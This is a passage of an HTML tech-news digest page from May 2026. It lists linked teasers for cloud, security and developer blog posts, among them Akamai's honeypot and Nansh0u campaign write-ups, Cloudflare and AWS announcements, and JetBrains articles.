          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-code-orange-fail-small-is-complete-the-result-is-a-stronger-cloudflare-network" class="group relative scroll-mt-24">
        <a href="#h3-code-orange-fail-small-is-complete-the-result-is-a-stronger-cloudflare-network" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Code Orange: Fail Small is complete. The result is a stronger Cloudflare network
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-code-orange-fail-small-is-complete-the-result-is-a-stronger-cloudflare-network"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We have completed a massive engineering effort to make our infrastructure more resilient. Through new tools like Snapstone and the Engineering Codex, we&#39;ve implemented safer configuration changes and </p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/code-orange-fail-small-complete/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-opensearch-ui-supports-cross-region-data-access-to-opensearch-domains" class="group relative scroll-mt-24">
        <a href="#h3-opensearch-ui-supports-cross-region-data-access-to-opensearch-domains" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenSearch UI supports cross-region data access to OpenSearch domains
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opensearch-ui-supports-cross-region-data-access-to-opensearch-domains"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon OpenSearch Service now supports cross-region data access for OpenSearch UI, enabling users to access OpenSearch domains hosted in different AWS Regions from within a single OpenSearch UI applic</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/opensearch-ui-cross-region-data-access-domains/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-cloudfront-announces-websocket-support-for-vpc-origins" class="group relative scroll-mt-24">
        <a href="#h3-amazon-cloudfront-announces-websocket-support-for-vpc-origins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon CloudFront Announces WebSocket Support for VPC Origins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-cloudfront-announces-websocket-support-for-vpc-origins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon CloudFront now supports WebSockets traffic through Virtual Private Cloud (VPC) origins, enabling you to use CloudFront as the single entry point for real-time applications hosted entirely in pr</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-cloudfront-websockets-vpc-origins/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-with-google-cloud" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-with-google-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new with Google Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-with-google-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-dynamic-workflows-durable-execution-that-follows-the-tenant" class="group relative scroll-mt-24">
        <a href="#h3-introducing-dynamic-workflows-durable-execution-that-follows-the-tenant" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Dynamic Workflows: durable execution that follows the tenant
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-dynamic-workflows-durable-execution-that-follows-the-tenant"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dynamic Workflows is a library that lets you route durable execution to tenant-provided code on the fly. Built on Dynamic Workers, it enables platforms to serve millions of unique workflows at near-ze</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/dynamic-workflows/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-unlocking-sovereign-ai-and-protected-collaboration-with-confidential-computing" class="group relative scroll-mt-24">
        <a href="#h3-unlocking-sovereign-ai-and-protected-collaboration-with-confidential-computing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Unlocking sovereign AI and protected collaboration with confidential computing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-unlocking-sovereign-ai-and-protected-collaboration-with-confidential-computing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There is a fundamental tension between using AI and the cloud while adhering to strict privacy mandates like digital sovereignty and sovereign AI. Encryption of data at rest and in transit is increasi</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/unlocking-sovereign-ai-and-protected-collaboration-confidential-computing"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-google-cloud-next-26-recap" class="group relative scroll-mt-24">
        <a href="#h3-google-cloud-next-26-recap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Google Cloud Next ’26 Recap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-google-cloud-next-26-recap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Key takeaways from Google Cloud Next &#39;26: AI is operationalizing across the SDLC, driving platform consolidation away from fragmented tools, and accelerating the shift toward efficient, frictionless s</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/google-cloud-next-26-recap"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-google-cloud-announced-in-ai-this-month" class="group relative scroll-mt-24">
        <a href="#h3-what-google-cloud-announced-in-ai-this-month" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What Google Cloud announced in AI this month
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-google-cloud-announced-in-ai-this-month"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editor’s note: Want to keep up with the latest from Google Cloud? Check back here for a monthly recap of our latest updates, announcements, resources, events, learning opportunities, and more. We host</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/ai-machine-learning/what-google-cloud-announced-in-ai-this-month/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-post-quantum-encryption-for-cloudflare-ipsec-is-generally-available" class="group relative scroll-mt-24">
        <a href="#h3-post-quantum-encryption-for-cloudflare-ipsec-is-generally-available" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Post-quantum encryption for Cloudflare IPsec is generally available
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-post-quantum-encryption-for-cloudflare-ipsec-is-generally-available"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloudflare IPsec now has generally available support for post-quantum encryption via hybrid ML-KEM. We’ve confirmed interoperability with Cisco and Fortinet.</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/post-quantum-ipsec/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1119" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1119" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.119
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1119"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.119 (Insiders) Read the full article</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_119"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pytorch-vs-tensorflow-choosing-the-right-framework-in-2026" class="group relative scroll-mt-24">
        <a href="#h3-pytorch-vs-tensorflow-choosing-the-right-framework-in-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PyTorch vs. TensorFlow: Choosing the Right Framework in 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pytorch-vs-tensorflow-choosing-the-right-framework-in-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Choosing between PyTorch and TensorFlow isn’t about finding the “better” framework – it’s about finding the right fit for your project. Both power cutting-edge AI systems, but they excel in different </p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/pycharm/2026/05/pytorch-vs-tensorflow-choosing-framework-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-teaching-an-ai-agent-to-debug-flaky-tests" class="group relative scroll-mt-24">
        <a href="#h3-teaching-an-ai-agent-to-debug-flaky-tests" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Teaching an AI Agent to Debug Flaky Tests
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-teaching-an-ai-agent-to-debug-flaky-tests"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you’ve been connected to the internet for a while, you’ve surely heard of AI Agent Skills. They teach your agent to do this and that. You might have even used or written a couple of them yourself. </p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/idea/2026/05/teaching-an-ai-agent-to-debug-flaky-tests/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kodees-kotlin-roundup-golden-kodee-finalists-kotlin-240-beta2-and-new-learning-resources" class="group relative scroll-mt-24">
        <a href="#h3-kodees-kotlin-roundup-golden-kodee-finalists-kotlin-240-beta2-and-new-learning-resources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kodee’s Kotlin Roundup: Golden Kodee Finalists, Kotlin 2.4.0-Beta2, and New Learning Resources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kodees-kotlin-roundup-golden-kodee-finalists-kotlin-240-beta2-and-new-learning-resources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hi everyone! April brought exciting community news with the announcement of the Golden Kodee finalists, along with Kotlin and tooling releases, multiplatform progress, and fresh backend resources. I a</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/kotlin/2026/05/kodees-kotlin-roundup-golden-kodee-finalists-kotlin-2-4-0-beta2-and-new-learning-resources/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-use-ubuntu-on-windows" class="group relative scroll-mt-24">
        <a href="#h3-how-to-use-ubuntu-on-windows" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to use Ubuntu on Windows
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-use-ubuntu-on-windows"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Why run Ubuntu on Windows? It’s about getting the best of both worlds.</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/how-to-use-ubuntu-on-windows"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-to-us-its-just-a-tool-how-sas-is-selling-ai-to-the-fortune-500" class="group relative scroll-mt-24">
        <a href="#h3-to-us-its-just-a-tool-how-sas-is-selling-ai-to-the-fortune-500" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 “To us, it’s just a tool”: How SAS is selling AI to the Fortune 500
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-to-us-its-just-a-tool-how-sas-is-selling-ai-to-the-fortune-500"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For this 50-year-old company, AI is “just a tool.” At SAS Innovate 2026 in Grapevine, Texas, the 50-year-old, privately held The post “To us, it’s just a tool”: How SAS is selling AI to the Fortune 50</p>
<p><strong>📅 May 3, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/sas-innovate-agentic-ai-governance/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-mainframe-modernization-is-no-longer-optional-for-the-ai-driven-enterprise" class="group relative scroll-mt-24">
        <a href="#h3-mainframe-modernization-is-no-longer-optional-for-the-ai-driven-enterprise" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Mainframe modernization is no longer optional for the AI-driven enterprise
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-mainframe-modernization-is-no-longer-optional-for-the-ai-driven-enterprise"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As old-guard mainframers give way to a younger generation of mainframe professionals, this new cadre brings modern ways of thinking The post Mainframe modernization is no longer optional for the AI-dr</p>
<p><strong>📅 May 3, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/open-mainframe-enterprise-modernization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-most-ai-coding-is-like-taking-your-ferrari-to-buy-milk-ibms-neel-sundaresan" class="group relative scroll-mt-24">
        <a href="#h3-most-ai-coding-is-like-taking-your-ferrari-to-buy-milk-ibms-neel-sundaresan" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Most AI coding is “like taking your Ferrari to buy milk”: IBM’s Neel Sundaresan
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-most-ai-coding-is-like-taking-your-ferrari-to-buy-milk-ibms-neel-sundaresan"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Neel Sundaresan doesn’t answer three questions. One of them, he says with some amusement, is why IBM Bob is named The post Most AI coding is “like taking your Ferrari to buy milk”: IBM’s Neel Sundares</p>
<p><strong>📅 May 3, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ibm-bob-agentic-coding/"><strong>🔗 Read more</strong></a></p>
